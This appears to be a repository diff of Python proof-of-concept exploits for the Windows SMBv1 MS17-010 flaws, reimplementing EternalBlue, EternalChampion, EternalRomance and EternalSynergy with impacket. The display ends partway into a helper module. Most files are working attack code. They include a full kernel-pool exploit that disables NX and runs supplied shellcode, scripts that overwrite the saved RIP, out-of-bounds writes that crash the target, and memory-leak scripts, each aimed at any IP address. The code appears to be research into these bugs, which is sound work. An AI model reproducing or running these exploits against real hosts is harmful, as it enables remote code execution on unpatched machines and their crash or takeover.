def send_trans2_second(conn, tid, data, displacement):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
# assume no params
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
transCommand['Parameters']['TotalParameterCount'] = 0
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+18
transCommand['Data']['Pad1'] = ''
transCommand['Parameters']['ParameterCount'] = 0
transCommand['Parameters']['ParameterOffset'] = 0
if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
transCommand['Parameters']['DataDisplacement'] = displacement
transCommand['Data']['Trans_Parameters'] = ''
transCommand['Data']['Trans_Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
command = pack('<H', setup)
# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1
transCommand['Parameters']['MaxParameterCount'] = len(param)
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Data'] = smb.SMBTransaction2_Data()
transCommand['Parameters']['Setup'] = command
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
padLen = 0
transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB() # must be success
if recvPkt.getNTStatus() == 0:
print('got good NT Trans response')
else:
print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))
sys.exit(1)
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
i = firstDataFragmentSize
while i < len(data):
sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096:
if not sendLastChunk:
break
send_trans2_second(conn, tid, data[i:i+sendSize], i)
i += sendSize
if sendLastChunk:
conn.recvSMB()
return i
# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool on target
def createConnectionWithBigSMBFirst80(target, for_nx=False):
sk = socket.create_connection((target, 445))
pkt = '\x00' + '\x00' + pack('>H', 0x8100)
# There is no need to be SMB2 because we want the target free the corrupted buffer.
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid
pkt += 'BAAD' # can be any
if for_nx:
# MUST set no delay because 1 byte MUST be sent immediately
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
pkt += '\x00'*0x7b # another byte will be sent later to disabling NX
else:
pkt += '\x00'*0x7c
sk.send(pkt)
return sk
def exploit(target, shellcode, numGroomConn):
# force using smb.SMB for SMB1
conn = smb.SMB(target, target)
conn.login(USERNAME, PASSWORD)
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
print('This exploit does not support this target')
sys.exit()
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)
# Another TRANS2_OPEN2 (0) with special feaList for disabling NX
nxconn = smb.SMB(target, target)
nxconn.login(USERNAME, PASSWORD)
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
# create some big buffer at server
# this buffer MUST NOT be big enough for overflown buffer
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)
# groom nonpaged pool
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
srvnetConn.append(sk)
# create buffer size NTFEA_SIZE at server
# this buffer will be replaced by overflown buffer
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10)
# disconnect allocConn to free buffer
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
allocConn.get_socket().close()
# hope one of srvnetConn is next to holeConn
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
srvnetConn.append(sk)
# remove holeConn to create hole for fea buffer
holeConn.get_socket().close()
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# first trigger, overwrite srvnet buffer struct for disabling NX
send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
recvPkt = nxconn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
print('good response status for nx: INVALID_PARAMETER')
else:
print('bad response status for nx: 0x{:08x}'.format(retStatus))
# one of srvnetConn struct header should be modified
# send '\x00' to disable nx
for sk in srvnetConn:
sk.send('\x00')
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# second trigger, place fake struct and shellcode
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
print('good response status: INVALID_PARAMETER')
else:
print('bad response status: 0x{:08x}'.format(retStatus))
# one of srvnetConn struct header should be modified
# a corrupted buffer will write recv data in designed memory address
for sk in srvnetConn:
sk.send(fake_recv_struct + shellcode)
# execute shellcode
for sk in srvnetConn:
sk.close()
# nicely close connection (no need for exploit)
nxconn.disconnect_tree(tid)
nxconn.logoff()
nxconn.get_socket().close()
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
if len(sys.argv) < 3:
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
sys.exit(1)
TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()
if len(sc) > 0xe80:
print('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80))
sys.exit()
# Now, shellcode is known. create a feaList
feaList = createFeaList(len(sc))
print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))
exploit(TARGET, sc, numGroomConn)
print('done')

45
eternalblue_poc.py Normal file
View File

@@ -0,0 +1,45 @@
from impacket import smb
from mysmb import MYSMB
from struct import pack
import sys
'''
PoC: demonstrates how NSA eternalblue triggers the buffer overflow
'''
USERNAME = ''
PASSWORD = ''
if len(sys.argv) != 2:
print("{} <ip>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)
# OOB write ~0x8c00 for BSOD
payload = pack('<I', 0x10000)
payload += pack('<BBH', 0, 0, 0xc003) + 'A'*0xc004
payload += pack('<BBH', 0, 0, 0xcc00) + 'B'*0x4000
mid = conn.next_mid()
# NT function can be any
# TRANS2_OPEN2 (0)
conn.send_nt_trans(2, setup=pack('<H', 0), mid=mid, param='\x00'*30, data=payload[:1000], totalDataCount=len(payload))
i = 1000
while i < len(payload):
sendSize = min(4096, len(payload) - i)
conn.send_trans2_secondary(mid=mid, data=payload[i:i+sendSize], dataDisplacement=i)
i += sendSize
conn.recvSMB()
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()

57
eternalchampion_leak.py Normal file
View File

@@ -0,0 +1,57 @@
#!/usr/bin/python
from impacket import smb
from mysmb import MYSMB
from struct import pack
import sys
'''
PoC: demonstrates how NSA eternalchampion leaks a transaction struct
The purpose of leak is getting CONNECTION address.
Note:
- this PoC only test against Windows 7 x64
'''
USERNAME = ''
PASSWORD = ''
if len(sys.argv) != 3:
print("{} <ip> <pipe_name>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
pipe_name = sys.argv[2]
conn = MYSMB(target)
conn.login(USERNAME, PASSWORD, maxBufferSize=512)
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK
for i in range(10):
conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0)
mid_ntrename = conn.next_mid()
# create NT_TRANS_RENAME (5) request
req1 = conn.create_nt_trans_packet(5, mid=mid_ntrename, param=pack('<HH', fid, 0), data='A'*0x1b8, maxParameterCount=0x4e48)
# leak 264 bytes
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='A'*264)
reqs = [ conn.create_trans_packet('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) for i in range(15) ]
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2+''.join(reqs))
data = conn.recv_transaction_data(mid_ntrename, 0x1b8+264)
# no write parameter
open('leak.dat', 'wb').write(data[4:])
print('All return data is written to leak.dat')
conn.close(tid, fid)
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()

85
eternalchampion_poc.py Normal file
View File

@@ -0,0 +1,85 @@
#!/usr/bin/python
from impacket import smb
from mysmb import MYSMB
from struct import pack
import sys
'''
PoC: demonstrates how NSA eternalchampion controls RIP
Note:
- this PoC is tested against only Windows 7 x64 with 2 and 4 logical processors
'''
USERNAME = ''
PASSWORD = ''
if len(sys.argv) != 2:
print("{} <ip>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)
# if share name is disk, the race is easier to win because there are more operation to do after InData is modified
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)
def nsa_race(conn, jmp_addr):
setup = pack('<H', 5) # QUERY_PATH_INFO
# set info level to SMB_INFO_QUERY_EA_SIZE at request to force SrvSmbQueryPathInformation restart in another thread
param = pack('<HI', 2, 0) + '\x00'*4 # infoLevel, reserved, filename
mid = conn.next_mid()
# we will overwrite 8 bytes at displacement 312, so data must be at least 320 bytes
req1 = conn.create_trans2_packet(setup, param=param, data='A'*324, mid=mid)
# change infoLevel parameter to SMB_INFO_IS_NAME_VALID
req2 = conn.create_trans2_secondary_packet(mid, param=pack('<H', 6))
req3 = conn.create_trans2_secondary_packet(mid, data=pack('<Q', jmp_addr), dataDisplacement=312)
conn.send_raw(req1+req2+req3*8)
recvPkt = conn.recvSMB()
status = recvPkt.getNTStatus()
if status == 0xc0000022: # ACCESS_DENIED
# fail to modify infoLevel parameter to SMB_INFO_IS_NAME_VALID
#print('the race is completely fail')
sys.stdout.write('.')
elif status == 0xc0000010: # INVALID_DEVICE_REQUEST
#print('there is a race')
sys.stdout.write('*')
else:
sys.stdout.write('?')
sys.stdout.flush()
def my_race(conn, jmp_addr):
setup = pack('<H', 5) # QUERY_PATH_INFO
param = pack('<HI', 6, 0) + '\x00'*4 # infoLevel, reserved, filename
# directly race
for i in range(8):
mid = conn.next_mid()
req1 = conn.create_trans2_packet(setup, param=param, data='A'*324, mid=mid)
req3 = conn.create_trans2_secondary_packet(mid, data=pack('<Q', jmp_addr), dataDisplacement=312)
conn.send_raw(req1+req3*11)
for i in range(8):
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() != 0xc0000010:
#print('return status: 0x{:x}'.format(recvPkt.getNTStatus()))
sys.stdout.write('*')
else:
sys.stdout.write('.')
sys.stdout.flush()
while True:
# if win a race, saved RIP will be modified to 0x4141414141414141
nsa_race(conn, 0x4141414141414141)
#my_race(conn, 0x4141414141414141)
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()

161
eternalchampion_poc2.py Normal file
View File

@@ -0,0 +1,161 @@
#!/usr/bin/python
from impacket import smb
from mysmb import MYSMB
from struct import pack, unpack
import sys
'''
PoC: demonstrates how NSA eternalchampion works
Note:
- this PoC is tested against only Windows 7 x64 with 2 and 4 logical processors
- no support user authentication
- the NSA eternalchampion need named pipe or share name to leak info with NT_TRANS_RENAME
- the required data for Windows is CONNECTION address. A CONNECTION struct has UNICODE_STRING
which size is controlled by SMB_COM_SESSION_SETUP_ANDX command
'''
if len(sys.argv) != 3:
print("{} <ip> <pipe_name>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
pipe_name = sys.argv[2]
# this one must do something to restore execution
# Note: when stagine shellcode is executed, CONNECTION+0x3d0 is at top of stack
staging_sc = '\xcc'*128
def login_put_staging_sc(conn, staging_sc, maxBufferSize):
_, flags2 = conn.get_flags()
# FLAGS2_EXTENDED_SECURITY MUST not be set
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
flags2 |= smb.SMB.FLAGS2_UNICODE
conn.set_flags(flags2=flags2)
pkt = smb.NewSMBPacket()
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBufferSize'] = maxBufferSize
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
# UnicodePasswordLen field is in Reserved for extended security format.
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
# allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes)
# UNICODE.maxBufferSize: 0x15ff
# after maxBufferSize is padding which is '\x00'*4
# so code is 'ff 15 00 00 00 00' => call [rip+0]
# after padding is pointer to allocated npp and shellcode there
sessionSetup['Data'] = pack('<H', 0x1604) + '\x00'*5 + staging_sc + '\x00'*8
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.isValidAnswer(smb.SMB.SMB_COM_SESSION_SETUP_ANDX):
print('SMB1 session setup allocate nonpaged pool success')
conn.set_uid(recvPkt['Uid'])
else:
print('SMB1 session setup allocate nonpaged pool failed')
sys.exit()
conn = MYSMB(target)
login_put_staging_sc(conn, staging_sc, 512)
# if share name is disk, the race is easier to win because there are more operation to do after InData is modified
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK
# ================================
# leak a transaction
# ================================
for i in range(10):
conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0)
mid_ntrename = conn.next_mid()
# create NT_TRANS_RENAME (5) request
req1 = conn.create_nt_trans_packet(5, mid=mid_ntrename, param=pack('<HH', fid, 0), data='A'*0x1b8, maxParameterCount=0x4e48)
# leak 264 bytes
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='A'*264)
reqs = [ conn.create_trans_packet('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) for i in range(15) ]
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2+''.join(reqs))
data = conn.recv_transaction_data(mid_ntrename, 0x1b8+264)
leakData = data[0x1c0:] # skip data
# find TRANSACTION struct to get CONNECTION address
pos = data.find('LStr')
leakTrans = data[pos+4+0x18:]
connection_addr = unpack('<Q', leakTrans[0x10:0x18])[0]
print('found CONNECTION address: 0x{:x}'.format(connection_addr))
def nsa_race(conn, jmp_addr):
setup = pack('<H', 5) # QUERY_PATH_INFO
# set info level to SMB_INFO_QUERY_EA_SIZE at request to force SrvSmbQueryPathInformation restart in another thread
param = pack('<HI', 2, 0) + '\x00'*4 # infoLevel, reserved, filename
mid = conn.next_mid()
# we will overwrite 8 bytes at displacement 312, so data must be at least 320 bytes
req1 = conn.create_trans2_packet(setup, param=param, data='A'*324, mid=mid)
# chnage infoLevel to SMB_INFO_IS_NAME_VALID
req2 = conn.create_trans2_secondary_packet(mid, param=pack('<H', 6))
req3 = conn.create_trans2_secondary_packet(mid, data=pack('<Q', jmp_addr), dataDisplacement=312)
conn.send_raw(req1+req2+req3*8)
recvPkt = conn.recvSMB()
status = recvPkt.getNTStatus()
if status == 0xc0000022: # ACCESS_DENIED
#print('the race is completely fail')
sys.stdout.write('.')
elif status == 0xc0000010: # INVALID_DEVICE_REQUEST
# fail to modify infoLevel parameter to SMB_INFO_IS_NAME_VALID
#print('there is a race')
sys.stdout.write('*')
else:
sys.stdout.write('?')
sys.stdout.flush()
def my_race(conn, jmp_addr):
setup = pack('<H', 5) # QUERY_PATH_INFO
param = pack('<HI', 6, 0) + '\x00'*4 # infoLevel, reserved, filename
# directly race
for i in range(8):
mid = conn.next_mid()
req1 = conn.create_trans2_packet(setup, param=param, data='A'*324, mid=mid)
req3 = conn.create_trans2_secondary_packet(mid, data=pack('<Q', jmp_addr), dataDisplacement=312)
conn.send_raw(req1+req3*11)
for i in range(8):
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() != 0xc0000010:
#print('return status: 0x{:x}'.format(recvPkt.getNTStatus()))
sys.stdout.write('*')
else:
sys.stdout.write('.')
sys.stdout.flush()
# jump to CONNECTION+0x3ca
while True:
# if win a race, saved RIP will be modified
nsa_race(conn, connection_addr+0x3ca)
#my_race(conn, connection_addr+0x3ca)
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()

60
eternalromance_leak.py Normal file
View File

@@ -0,0 +1,60 @@
from mysmb import MYSMB
from impacket import smb, smbconnection
from impacket.dcerpc.v5 import transport, lsat, ndr
from struct import pack, unpack
import sys
'''
PoC: demonstrates how NSA eternalromance does the info leak
Note:
- this PoC only support lsaprc named pipe
- this method works against only Windows<8
'''
USERNAME = ''
PASSWORD = ''
if len(sys.argv) != 2:
print("{} <ip>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
pipe_name = 'lsarpc'
conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)
smbConn = smbconnection.SMBConnection(target, target, existingConnection=conn, manualNegotiate=True)
dce = transport.SMBTransport(target, filename=pipe_name, smb_connection=smbConn).get_dce_rpc()
dce.connect()
conn.set_default_tid(conn.get_last_tid())
fid = conn.get_last_fid()
dce.bind(lsat.MSRPC_UUID_LSAT)
# send LsarGetUserName without getting result so there are data in named pipe to peek
request = lsat.LsarGetUserName()
request['SystemName'] = "\x00"
request['UserName'] = "A"*263+'\x00' # this data size determines how many bytes of data we can leak
request['DomainName'] = ndr.NULL
dce.call(request.opnum, request)
# send TRANS_PEEK_NMPIPE (0x23) request with small OutData buffer to leak info
recvPkt = conn.send_trans(pack('<HH', 0x23, fid), '', '', maxDataCount=1, maxParameterCount=0x5400, maxSetupCount=1)
resp = smb.SMBCommand(recvPkt['Data'][0])
data = resp['Data'][1+6+2:] # skip padding, parameter, padding
open('leak.dat', 'wb').write(data)
print('All return data is written to leak.dat')
# receive result to clear name pipe data
dce.recv()
dce.disconnect()
conn.logoff()
conn.get_socket().close()

40
eternalromance_poc.py Normal file
View File

@@ -0,0 +1,40 @@
#!/usr/bin/python
from impacket import smb
from mysmb import MYSMB
import sys
'''
PoC: demonstrates the bug that NSA eternalromance and eternalsynergy use for OOB write
'''
USERNAME = ''
PASSWORD = ''
if len(sys.argv) != 3:
print("{} <ip> <pipe_name>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
pipe_name = sys.argv[2]
conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)
# create incomplete transaction with mid is pipe fid
conn.send_nt_trans(0, mid=fid, totalDataCount=0x5400)
# use SMB write to shift transaction.InData
conn.do_write_andx_raw_pipe(fid, 'A'*0x1000)
# send secondary for OOB write
# after sending below secondary, a target should be crashed
conn.send_nt_trans_secondary(fid, data='Z'*0x1000, dataDisplacement=0x4000)
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()

144
eternalromance_poc2.py Normal file
View File

@@ -0,0 +1,144 @@
#!/usr/bin/python
from mysmb import MYSMB
from impacket import smb, smbconnection
from impacket.dcerpc.v5 import transport, lsat, ndr
from struct import pack, unpack
import sys
'''
PoC: demonstrates how NSA eternalromance works against Windows 7 x64 (matched-pairs method).
The PoC is written from capture network traffic against Windows 7 x64.
I do my best to make it the same as original NSA eternalromance.
NSA eternalromance works against Windows<8 because information leak bug is fixed in Windows>=8.
NSA eternalsynergy changes information leak method to exploit Windows 8 and Windows 2012.
NSA eternalsynergy also do something to bypass NonpagedPoolNx. I do not check it.
'''
USERNAME = ''
PASSWORD = ''
if len(sys.argv) != 2:
print("{} <ip>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
pipe_name = 'lsarpc'
conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)
smbConn = smbconnection.SMBConnection(target, target, existingConnection=conn, manualNegotiate=True)
dce = transport.SMBTransport(target, filename=pipe_name, smb_connection=smbConn).get_dce_rpc()
dce.connect()
conn.set_default_tid(conn.get_last_tid())
fid = conn.get_last_fid()
dce.bind(lsat.MSRPC_UUID_LSAT)
# send LsarGetUserName without getting result so there are data in named pipe to peek
request = lsat.LsarGetUserName()
request['SystemName'] = "\x00"
request['UserName'] = "A"*263+'\x00' # this data size determines how many bytes of data we can leak
request['DomainName'] = ndr.NULL
dce.call(request.opnum, request)
# ================================
# first leak
# ================================
print('Leaking to determine Architecture')
# send TRANS_PEEK_NMPIPE (0x23) request with small OutData buffer to leak info
recvPkt = conn.send_trans(pack('<HH', 0x23, fid), maxDataCount=1, maxParameterCount=0x5400, maxSetupCount=1)
resp = smb.SMBCommand(recvPkt['Data'][0])
data = resp['Data'][1+6+2:] # skip padding, parameter, padding
# NSA eternalromance use first info leak to check target architecture
# we assume target is x64
# ================================
# initial groom
# ================================
print('sending packet')
# send 10 groom packets
for i in range(10):
conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=0x5400, maxSetupCount=0, maxParameterCount=0, maxDataCount=0)
mids = []
pids = []
for i in range(3):
mid = conn.next_mid()
pid = conn._pid - i - 1
# req1 is for leak bride transaction
req1 = conn.create_trans_packet(pack('<HH', 0x23, fid), mid=mid, totalDataCount=1, maxParameterCount=0x5400, maxSetupCount=0)
# req2 is for modify bride transaction, next to this groom, with OOB write
req2 = conn.create_trans_packet(pack('<HH', 0x36, fid), mid=fid, pid=pid, totalDataCount=0x5400, maxSetupCount=0, maxParameterCount=0, maxDataCount=0)
# req3 is for ?
req3 = conn.create_trans_packet(pack('<HH', 0x36, fid), totalDataCount=0x5400, maxSetupCount=0, maxParameterCount=0, maxDataCount=0)
conn.send_raw(req1+req2+req3)
mids.append(mid)
pids.append(pid)
for i in range(len(mids)):
conn.recvSMB()
# normally, small transaction is allocated from lookaside which force all buffer size to 0x5000
# the only method to get small buffer size is sending SMB_COM_TRANSACTION command with empty setup
# send 48 bride packets
for i in range(48):
conn.send_trans('', totalDataCount=0x40, maxSetupCount=0, maxParameterCount=0x940, maxDataCount=0)
# now, bride transactions should be next to groom transactions
# groom + bride => romance ?
# ================================
# leak a transaction
# ================================
print('Leaking a transaction')
# leak a bride transaction
conn.send_trans_secondary(mids[0], data='A')
leakData = conn.recv_transaction_data(mids[0], 520)
# NSA eternalromance parse leakData to get bride transaction (I skip this step)
# from leak transaction, we know
# - leak bride transaction address
# - CONNECTION address
# - next and previous transaction (flink and blink of LIST_ENTRY)
# - ...
# I do not know how NSA eternalromance use this leak info. I just look at pcap file.
# use SMB write to shift transaction.InData
conn.do_write_andx_raw_pipe(fid, 'A'*512, pid=pids[0])
print('Modify a bride transaction mid to 0')
# below is dangerous operation
# OOB write to modify next bride mid to 0
conn.send_trans_secondary(fid, pid=pids[0], data='\x00\x00', dataDisplacement=0x5330)
# test OOB write result by sending a secondary with mid=0 and bad data displacement
conn.send_trans_secondary(0, data='\x00', dataDisplacement=0xffff)
# if success, the target must reply an error
# if no reply, this means fail too
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() != 0:
print('Successfully took over a transaction')
else:
print('Fail to took over a transaction')
print('''after successfully took over a transaction, NSA eternalromance
- modify bride transaction (mid=0) InData to get arbitrary write
- use arbitrary write to modify leak transaction to be peek named pipe command for arbitrary read''')
# receive result to clear name pipe data
dce.recv()
dce.disconnect()
conn.logoff()
conn.get_socket().close()

60
eternalsynergy_leak.py Normal file
View File

@@ -0,0 +1,60 @@
#!/usr/bin/python
from impacket import smb
from mysmb import MYSMB
from struct import pack
import sys
'''
PoC: demonstrates how NSA eternalsynergy leaks a transaction struct
Note:
- this PoC only test against Windows 7 x64
- all SMB request parameter is copied from capture network traffic
'''
USERNAME = ''
PASSWORD = ''
if len(sys.argv) != 3:
print("{} <ip> <pipe_name>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
pipe_name = sys.argv[2]
conn = MYSMB(target)
# our buffer size is 4356 bytes
# transaction with large reply will be splitted to multiple response
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK
# normally, small transaction is allocated from lookaside which force all buffer size to 0x5000
# the only method to get small buffer size is sending SMB_COM_TRANSACTION command with empty setup
for i in range(10):
conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0)
mid_ntrename = conn.next_mid()
# create NT_TRANS_RENAME (5) request
req1 = conn.create_nt_trans_packet(5, mid=mid_ntrename, param=pack('<HH', fid, 0), data='A'*0x10c0, maxParameterCount=0x3f40)
# leak 0x150 bytes
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='A'*0x150)
reqs = [ conn.create_trans_packet('', totalDataCount=0x90, maxSetupCount=0, maxParameterCount=0xd00, maxDataCount=0) for i in range(8) ]
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2+''.join(reqs))
data = conn.recv_transaction_data(mid_ntrename, 0x10c0+0x150)
# no write parameter
open('leak.dat', 'wb').write(data[4:])
print('All return data is written to leak.dat')
conn.close(tid, fid)
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()

46
infoleak_uninit.py Normal file
View File

@@ -0,0 +1,46 @@
#!/usr/bin/python
from impacket import smb
from mysmb import MYSMB
from struct import pack
import sys
'''
PoC: demonstates leaking information from uninitialize buffer
'''
USERNAME = ''
PASSWORD = ''
if len(sys.argv) != 3:
print("{} <ip> <pipe_name>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
pipe_name = sys.argv[2]
conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK
# create NT_TRANS_RENAME (5) request
mid = conn.next_mid()
conn.send_nt_trans(5, mid=mid, param=pack('<HH', fid, 0), data='A'*0x1000, totalDataCount=0x8000)
# send secondary to set data at displacement 0 to leave uninitialize data in InData
for i in range(7):
conn.send_nt_trans_secondary(mid, data='B'*0x1000)
data = conn.recv_transaction_data(mid, 0x8000)
# no write parameter
open('leak.dat', 'wb').write(data[4:])
print('All return data is written to leak.dat')
conn.close(tid, fid)
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()

366
mysmb.py Normal file
View File

@@ -0,0 +1,366 @@
# impacket SMB extension for MS17-010 exploit.
# this file contains only valid SMB packet format operation.
from impacket import smb
from struct import pack
import os
import random
def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
############# SMB_COM_TRANSACTION_SECONDARY (0x26)
class SMBTransactionSecondary_Parameters(smb.SMBCommand_Parameters):
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
)
# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters(smb.SMBCommand_Parameters):
